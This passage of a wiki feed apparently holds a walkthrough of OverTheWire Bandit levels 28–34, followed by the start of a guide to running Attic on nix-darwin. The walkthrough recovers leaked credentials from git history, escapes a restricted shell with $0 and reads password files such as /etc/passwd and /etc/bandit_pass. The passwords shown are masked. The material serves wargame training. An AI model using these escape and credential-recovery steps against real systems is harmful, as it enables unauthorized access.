&amp;lt;pre&amp;gt;[...]&lt;br /&gt;
repo/README&amp;lt;/pre&amp;gt;&lt;br /&gt;
Read out the contents of the &amp;lt;code&amp;gt;README&amp;lt;/code&amp;gt; file using the &amp;lt;code&amp;gt;cat&amp;lt;/code&amp;gt; command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat repo/README&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note the password contained in the &amp;lt;code&amp;gt;README&amp;lt;/code&amp;gt; file and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;The password to the next level is: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-29&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 29 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit29.html&lt;br /&gt;
&lt;br /&gt;
Like in the last level, you have to find credentials in a git repository that someone forgot to take out. Connect to the level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit28@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Once you are connected, check out the repository and list its contents using the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Create a temporary directory and change into it&lt;br /&gt;
cd $(mktemp -d)&lt;br /&gt;
# Clone the repository&lt;br /&gt;
git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo&lt;br /&gt;
# List the contents&lt;br /&gt;
ls -la repo&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;total 16&lt;br /&gt;
drwxrwxr-x 3 bandit28 bandit28 4096 Aug 31 01:26 .&lt;br /&gt;
drwx------ 3 bandit28 bandit28 4096 Aug 31 01:26 ..&lt;br /&gt;
drwxrwxr-x 8 bandit28 bandit28 4096 Aug 31 01:26 .git&lt;br /&gt;
-rw-rw-r-- 1 bandit28 bandit28  111 Aug 31 01:26 README.md&amp;lt;/pre&amp;gt;&lt;br /&gt;
This level has a &amp;lt;code&amp;gt;README.md&amp;lt;/code&amp;gt; file just like in level 28. Run &amp;lt;code&amp;gt;cat&amp;lt;/code&amp;gt; on it to check if it contains any credentials:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat repo/README.md&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Someone removed the credentials in the &amp;lt;code&amp;gt;README.md&amp;lt;/code&amp;gt; file and replaced them with &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt; characters.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;# Bandit Notes&lt;br /&gt;
Some notes for level29 of bandit.&lt;br /&gt;
&lt;br /&gt;
## credentials&lt;br /&gt;
&lt;br /&gt;
- username: bandit29&lt;br /&gt;
- password: xxxxxxxxxx&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If someone removed the password, perhaps the password was in the repository before? Use &amp;lt;code&amp;gt;git log -p&amp;lt;/code&amp;gt; on the &amp;lt;code&amp;gt;README.md&amp;lt;/code&amp;gt; file to list all changes to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;git log -p README.md&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
If you scroll down a bit, you should see the previous password like here:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[...]&lt;br /&gt;
commit 73f5d0435070c8922da12177dc93f40b2285e22a&lt;br /&gt;
Author: Morla Porla &amp;amp;lt;morla@overthewire.org&amp;amp;gt;&lt;br /&gt;
Date:   Wed Jul 17 15:57:30 2024 +0000&lt;br /&gt;
&lt;br /&gt;
    add missing data&lt;br /&gt;
&lt;br /&gt;
diff --git a/README.md b/README.md&lt;br /&gt;
index 7ba2d2f..d4e3b74 100644&lt;br /&gt;
--- a/README.md&lt;br /&gt;
+++ b/README.md&lt;br /&gt;
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.&lt;br /&gt;
 ## credentials&lt;br /&gt;
&lt;br /&gt;
 - username: bandit29&lt;br /&gt;
-- password: &amp;amp;lt;TBD&amp;amp;gt;&lt;br /&gt;
+- password: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
[...]&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the password and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-30&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 30 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit30.html&lt;br /&gt;
&lt;br /&gt;
Again, this level is a git repository forensics challenge. Connect to it using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit29@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Clone the repository into a temporary directory:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cd $(mktemp -d)&lt;br /&gt;
git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Inside the repository, search for the password in the &amp;lt;code&amp;gt;README.md&amp;lt;/code&amp;gt; file. This time, it’s somewhere else:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;bandit29@bandit:/tmp/tmp.T3dxdml6c7$ cd repo&lt;br /&gt;
bandit29@bandit:/tmp/tmp.T3dxdml6c7/repo$ ls -a&lt;br /&gt;
.  ..  .git  README.md&lt;br /&gt;
bandit29@bandit:/tmp/tmp.T3dxdml6c7/repo$ cat README.md&lt;br /&gt;
# Bandit Notes&lt;br /&gt;
Some notes for bandit30 of bandit.&lt;br /&gt;
&lt;br /&gt;
## credentials&lt;br /&gt;
&lt;br /&gt;
- username: bandit30&lt;br /&gt;
- password: &amp;amp;lt;no passwords in production!&amp;amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Even checking the &amp;lt;code&amp;gt;git log&amp;lt;/code&amp;gt; for the &amp;lt;code&amp;gt;README.md&amp;lt;/code&amp;gt; file doesn’t reveal any credentials. Try it yourself:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;git log -p&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Here’s the transcript:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
commit 5a53eb83a43bac1f0b4e223e469b40ef68a4b6e6&lt;br /&gt;
Author: Ben Dover &amp;amp;lt;noone@overthewire.org&amp;amp;gt;&lt;br /&gt;
Date:   Wed Jul 17 15:57:31 2024 +0000&lt;br /&gt;
&lt;br /&gt;
    initial commit of README.md&lt;br /&gt;
&lt;br /&gt;
diff --git a/README.md b/README.md&lt;br /&gt;
new file mode 100644&lt;br /&gt;
index 0000000..2da2f39&lt;br /&gt;
--- /dev/null&lt;br /&gt;
+++ b/README.md&lt;br /&gt;
@@ -0,0 +1,8 @@&lt;br /&gt;
+# Bandit Notes&lt;br /&gt;
+Some notes for bandit30 of bandit.&lt;br /&gt;
+&lt;br /&gt;
+## credentials&lt;br /&gt;
+&lt;br /&gt;
+- username: bandit29&lt;br /&gt;
+- password: &amp;amp;lt;no passwords in production!&amp;amp;gt;&lt;br /&gt;
+&amp;lt;/pre&amp;gt;&lt;br /&gt;
It looks like the password was never committed in the first place. Maybe the password is in another branch. List the names of all git branches using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;git branch -a&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The git repository contains the following branches:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;* master&lt;br /&gt;
  origin&lt;br /&gt;
  remotes/origin/HEAD -&amp;amp;gt; origin/master&lt;br /&gt;
  remotes/origin/dev&lt;br /&gt;
  remotes/origin/master&lt;br /&gt;
  remotes/origin/sploits-dev&amp;lt;/pre&amp;gt;&lt;br /&gt;
Going through each branch, you should finally find the password in the &amp;lt;code&amp;gt;origin/dev&amp;lt;/code&amp;gt; branch:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;git log -p origin/dev&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Here’s the password in the first commit in the &amp;lt;code&amp;gt;origin/dev&amp;lt;/code&amp;gt; branch:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;commit eef534022d1ecc3b41d6de068501c4db4154b2c7 (origin/dev)&lt;br /&gt;
Author: Morla Porla &amp;amp;lt;morla@overthewire.org&amp;amp;gt;&lt;br /&gt;
Date:   Wed Jul 17 15:57:31 2024 +0000&lt;br /&gt;
&lt;br /&gt;
    add data needed for development&lt;br /&gt;
&lt;br /&gt;
diff --git a/README.md b/README.md&lt;br /&gt;
index 1af21d3..bc6ad3d 100644&lt;br /&gt;
--- a/README.md&lt;br /&gt;
+++ b/README.md&lt;br /&gt;
@@ -4,5 +4,5 @@ Some notes for bandit30 of bandit.&lt;br /&gt;
 ## credentials&lt;br /&gt;
&lt;br /&gt;
 - username: bandit30&lt;br /&gt;
-- password: &amp;amp;lt;no passwords in production!&amp;amp;gt;&lt;br /&gt;
+- password: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
&lt;br /&gt;
# Rest of git log -p origin/dev abbreviated&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the password and use it to connect to level 31.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-31&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 31 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit31.html&lt;br /&gt;
&lt;br /&gt;
This is another git repository forensics challenge. Connect to the level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit30@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Clone the repository using the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cd $(mktemp -d)&lt;br /&gt;
git clone ssh://bandit30-git@localhost:2220/home/bandit30-git/repo&lt;br /&gt;
cd repo&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This time, the password is neither in the git log for the main branch or any other branch. Instead, take a look at the git tags using &amp;lt;code&amp;gt;git tag -l&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;git tag -l&lt;br /&gt;
# This lists one tag called `secret`&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This lists one git tag called &amp;lt;code&amp;gt;secret&amp;lt;/code&amp;gt;. Show the git commit that belongs to this tag by running the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;git show secret&lt;br /&gt;
#&amp;gt; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note the password and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-32&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 32 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit32.html&lt;br /&gt;
&lt;br /&gt;
To solve this level, you need to create a specific commit and send it to a git remote. When the git remote receives the correct file, it gives you the password for the next level. Connect to this level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit31@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Clone the repository into a temporary directory:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cd $(mktemp -d)&lt;br /&gt;
git clone ssh://bandit31-git@localhost:2220/home/bandit31-git/repo&lt;br /&gt;
cd repo&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Create a file called &amp;lt;code&amp;gt;key.txt&amp;lt;/code&amp;gt; and commit it to your local repository:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat &amp;gt; key.txt &amp;lt;&amp;lt;EOF&lt;br /&gt;
May I come in?&lt;br /&gt;
EOF&lt;br /&gt;
git add -f key.txt&lt;br /&gt;
git commit -m yo&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Push your changes to origin with the following &amp;lt;code&amp;gt;git push&amp;lt;/code&amp;gt; invocation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;git push origin master&amp;lt;/pre&amp;gt;&lt;br /&gt;
The git commit hook in &amp;lt;code&amp;gt;origin&amp;lt;/code&amp;gt; takes over and gives you the password for the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;                         _                     _ _ _&lt;br /&gt;
                        | |__   __ _ _ __   __| (_) |_&lt;br /&gt;
                        | &#039;_ \ / _` | &#039;_ \ / _` | | __|&lt;br /&gt;
                        | |_) | (_| | | | | (_| | | |_&lt;br /&gt;
                        |_.__/ \__,_|_| |_|\__,_|_|\__|&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                      This is an OverTheWire game server.&lt;br /&gt;
            More information on http://www.overthewire.org/wargames&lt;br /&gt;
&lt;br /&gt;
bandit31-git@localhost&#039;s password:&lt;br /&gt;
Enumerating objects: 4, done.&lt;br /&gt;
Counting objects: 100% (4/4), done.&lt;br /&gt;
Delta compression using up to 2 threads&lt;br /&gt;
Compressing objects: 100% (2/2), done.&lt;br /&gt;
Writing objects: 100% (3/3), 317 bytes | 317.00 KiB/s, done.&lt;br /&gt;
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0&lt;br /&gt;
remote: ### Attempting to validate files... ####&lt;br /&gt;
remote:&lt;br /&gt;
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.&lt;br /&gt;
remote:&lt;br /&gt;
remote: Well done! Here is the password for the next level:&lt;br /&gt;
remote: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
remote:&lt;br /&gt;
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.&lt;br /&gt;
remote:&lt;br /&gt;
To ssh://localhost:2220/home/bandit31-git/repo&lt;br /&gt;
 ! [remote rejected] master -&amp;amp;gt; master (pre-receive hook declined)&lt;br /&gt;
error: failed to push some refs to &#039;ssh://localhost:2220/home/bandit31-git/repo&#039;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the password that the &amp;lt;code&amp;gt;pre-receive&amp;lt;/code&amp;gt; hooks prints out and use it in the next level. This might be a good opportunity to double-check your usage of git hooks.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-33&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 33 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit33.html&lt;br /&gt;
&lt;br /&gt;
In this level, you need to escape a custom shell that turns all commands into uppercase. For example, when you run &amp;lt;code&amp;gt;cat&amp;lt;/code&amp;gt;, the shell turns it into a &amp;lt;code&amp;gt;CAT&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Connect to this level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit32@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Here’s what you’re prompted with when connecting:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[...]&lt;br /&gt;
  For more information regarding individual wargames, visit&lt;br /&gt;
  http://www.overthewire.org/wargames/&lt;br /&gt;
&lt;br /&gt;
  For support, questions or comments, contact us on discord or IRC.&lt;br /&gt;
&lt;br /&gt;
  Enjoy your stay!&lt;br /&gt;
&lt;br /&gt;
WELCOME TO THE UPPERCASE SHELL&amp;lt;/pre&amp;gt;&lt;br /&gt;
To see what exactly this uppercase shell is, I connected to the previous level and inspect the &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; password file. Here’s how you can print out the record for the &amp;lt;code&amp;gt;bandit32&amp;lt;/code&amp;gt; user from this level:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;grep /etc/passwd -e bandit32&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The &amp;lt;code&amp;gt;bandit32&amp;lt;/code&amp;gt; user’s shell is in &amp;lt;code&amp;gt;/home/bandit32/uppershell&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;bandit32:x:11032:11032:bandit level 32:/home/bandit32:/home/bandit32/uppershell&amp;lt;/pre&amp;gt;&lt;br /&gt;
It’s not possible to view the contents of &amp;lt;code&amp;gt;uppershell&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;bandit31&amp;lt;/code&amp;gt;. The file belongs to &amp;lt;code&amp;gt;bandit32&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
After trying a lot, this is the command that eventually solved the challenge for me:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sh&amp;quot;&amp;gt;# Run the name of the current shell as a command&lt;br /&gt;
$0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
And this is it. I have no idea why this works. Normally, one would suppose that this just runs &amp;lt;code&amp;gt;/home/bandit32/uppershell&amp;lt;/code&amp;gt; again.&lt;br /&gt;
&lt;br /&gt;
Print out the password:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat /etc/bandit_pass/bandit33&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Epic laser boom. You’ve solved all levels in the Bandit wargame. Use the password and connect to the next level for an epic win epic message.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-34&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 34 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit34.html&lt;br /&gt;
&lt;br /&gt;
Connect to this level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit33@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Print the &amp;lt;code&amp;gt;README.txt&amp;lt;/code&amp;gt; file in this level’s home directory using &amp;lt;code&amp;gt;cat README.txt&amp;lt;/code&amp;gt; and celebrate:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--vale off--&amp;gt;&lt;br /&gt;
&amp;lt;blockquote&amp;gt;Congratulations on solving the last level of this game!&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&amp;lt;blockquote&amp;gt;At this moment, there are no more levels to play in this game. However, we are constantly working on new levels and will most likely expand this game with more levels soon. Keep an eye out for an announcement on our usual communication channels! In the meantime, you could play some of our other wargames.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&amp;lt;blockquote&amp;gt;If you have an idea for an awesome new level, please let us know!&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&amp;lt;!--vale on--&amp;gt;&lt;br /&gt;
The Bandit wargame is a great shell command teacher. Give it a try if you are interested in learning how to get weird with the shell. Impress people at parties with obscure knowledge about Bash.&lt;br /&gt;
&lt;br /&gt;
Here are two useful resources that helped me solve the challenges:&lt;br /&gt;
&lt;br /&gt;
* [https://gtfobins.github.io/ &amp;lt;code&amp;gt;GTFOBins&amp;lt;/code&amp;gt;] to learn how to escape certain programs like &amp;lt;code&amp;gt;more&amp;lt;/code&amp;gt;.&lt;br /&gt;
* [https://linux.die.net/man/ Linux man pages on die.net] to read manuals for many programs in your browser&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OverTheWire]]&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Category:Garden&amp;diff=87</id>
		<title>Category:Garden</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Category:Garden&amp;diff=87"/>
		<updated>2026-01-30T06:54:15Z</updated>

		<summary type="html">&lt;p&gt;Justus: Created page with &amp;quot;This category contains pages that were originally a part of the justus.pw Digital Garden&amp;lt;ref&amp;gt;https://www.justus.pw/garden.html&amp;lt;/ref&amp;gt;.&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This category contains pages that were originally a part of the justus.pw Digital Garden&amp;lt;ref&amp;gt;https://www.justus.pw/garden.html&amp;lt;/ref&amp;gt;.&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Attic_on_Nix_Darwin&amp;diff=86</id>
		<title>Attic on Nix Darwin</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Attic_on_Nix_Darwin&amp;diff=86"/>
		<updated>2026-01-30T06:50:58Z</updated>

		<summary type="html">&lt;p&gt;Justus: Add to Garden&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Here are some snippets of code required to configure and run [https://docs.attic.rs/ attic] on macOS with [https://github.com/LnL7/nix-darwin &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt;], and use it as an optional cache.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;files-required&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Files required =&lt;br /&gt;
&lt;br /&gt;
To make &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; configure attic correctly, you need a configuration module̵ &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt; and a configuration &amp;lt;code&amp;gt;atticd.toml&amp;lt;/code&amp;gt; for attic to use during runtime to use the correct paths for storage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;user-creation&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= User creation =&lt;br /&gt;
&lt;br /&gt;
First, create a user and group called &amp;lt;code&amp;gt;attic&amp;lt;/code&amp;gt; to host the attic server on your machine. In the &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt; file, add the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;nix&amp;quot;&amp;gt;# attic.nix&lt;br /&gt;
{ config, pkgs, ... }:&lt;br /&gt;
{&lt;br /&gt;
  users.groups.attic = {&lt;br /&gt;
    # Adjust the gid to your liking&lt;br /&gt;
    gid = 603;&lt;br /&gt;
  };&lt;br /&gt;
  users.users.attic = {&lt;br /&gt;
    createHome = false;&lt;br /&gt;
    description = &amp;quot;attic user&amp;quot;;&lt;br /&gt;
    gid = 603;&lt;br /&gt;
    # Adjust the uid to your liking&lt;br /&gt;
    uid = 603;&lt;br /&gt;
    isHidden = true;&lt;br /&gt;
  };&lt;br /&gt;
  users.knownGroups = [ &amp;quot;attic&amp;quot; ];&lt;br /&gt;
  users.knownUsers = [ &amp;quot;attic&amp;quot; ];&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This Nix configuration hides the attic user, and it can’t log in since shell set to &amp;lt;code&amp;gt;sbin/nologin&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;attic-configuration&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Attic configuration =&lt;br /&gt;
&lt;br /&gt;
Create a configuration file &amp;lt;code&amp;gt;atticd.toml&amp;lt;/code&amp;gt; and add the following contents:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre class=&amp;quot;toml&amp;quot;&amp;gt;# atticd.toml&lt;br /&gt;
# Socket address to listen on, you might want to adjust the port used.&lt;br /&gt;
listen = &amp;amp;quot;127.0.0.1:18080&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Optionally, configure allowed hosts here&lt;br /&gt;
allowed-hosts = []&lt;br /&gt;
&lt;br /&gt;
[database]&lt;br /&gt;
# Attic&#039;s database is located in /var/attic/db.sqlite&lt;br /&gt;
url = &amp;amp;quot;sqlite:///var/attic/db.sqlite?mode=rwc&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Whether to enable sending on periodic heartbeat queries&lt;br /&gt;
#&lt;br /&gt;
# If enabled, a heartbeat query will be sent every minute&lt;br /&gt;
#heartbeat = false&lt;br /&gt;
&lt;br /&gt;
[storage]&lt;br /&gt;
# Store everything locally in /var/attic/storage&lt;br /&gt;
type = &amp;amp;quot;local&amp;amp;quot;&lt;br /&gt;
path = &amp;amp;quot;/var/attic/storage&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Default values from&lt;br /&gt;
# https://github.com/zhaofengli/attic/blob/main/server/src/config-template.toml&lt;br /&gt;
[chunking]&lt;br /&gt;
nar-size-threshold = 65536 # chunk files that are 64 KiB or larger&lt;br /&gt;
min-size = 16384            # 16 KiB&lt;br /&gt;
avg-size = 65536            # 64 KiB&lt;br /&gt;
max-size = 262144           # 256 KiB&lt;br /&gt;
&lt;br /&gt;
[compression]&lt;br /&gt;
type = &amp;amp;quot;zstd&amp;amp;quot;&lt;br /&gt;
#level = 8&lt;br /&gt;
&lt;br /&gt;
[garbage-collection]&lt;br /&gt;
# The frequency to run garbage collection at&lt;br /&gt;
interval = &amp;amp;quot;12 hours&amp;amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Write the attic configuration to &amp;lt;code&amp;gt;/etc/attic/atticd.toml&amp;lt;/code&amp;gt; using the following Nix snippet:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;nix&amp;quot;&amp;gt;# attic.nix&lt;br /&gt;
{ config, pkgs, ... }:&lt;br /&gt;
{&lt;br /&gt;
  # ...&lt;br /&gt;
  environment.etc = {&lt;br /&gt;
    atticd = {&lt;br /&gt;
      source = ./atticd.toml;&lt;br /&gt;
      target = &amp;quot;attic/atticd.toml&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
  };&lt;br /&gt;
  # ...&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;credentials-file&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Credentials file =&lt;br /&gt;
&lt;br /&gt;
Next, feed 32 bytes of random data into &amp;lt;code&amp;gt;base64&amp;lt;/code&amp;gt;. Pipe these 32 bytes into a secret, read-only file that only &amp;lt;code&amp;gt;attic&amp;lt;/code&amp;gt; can open:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;openssl rand 32 |&lt;br /&gt;
  base64 |&lt;br /&gt;
  sudo tee /etc/attic/secret.base64 &amp;gt; /dev/null&lt;br /&gt;
sudo chown attic:attic /etc/attic/secret.base64&lt;br /&gt;
sudo chmod 400 /etc/attic/secret.base64&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;attic-service-file&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Attic service file =&lt;br /&gt;
&lt;br /&gt;
Next, tell &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; to add a launchd service using the following snippet in the same &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt; file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;nix&amp;quot;&amp;gt;# attic.nix&lt;br /&gt;
{ config, pkgs, ... }:&lt;br /&gt;
let&lt;br /&gt;
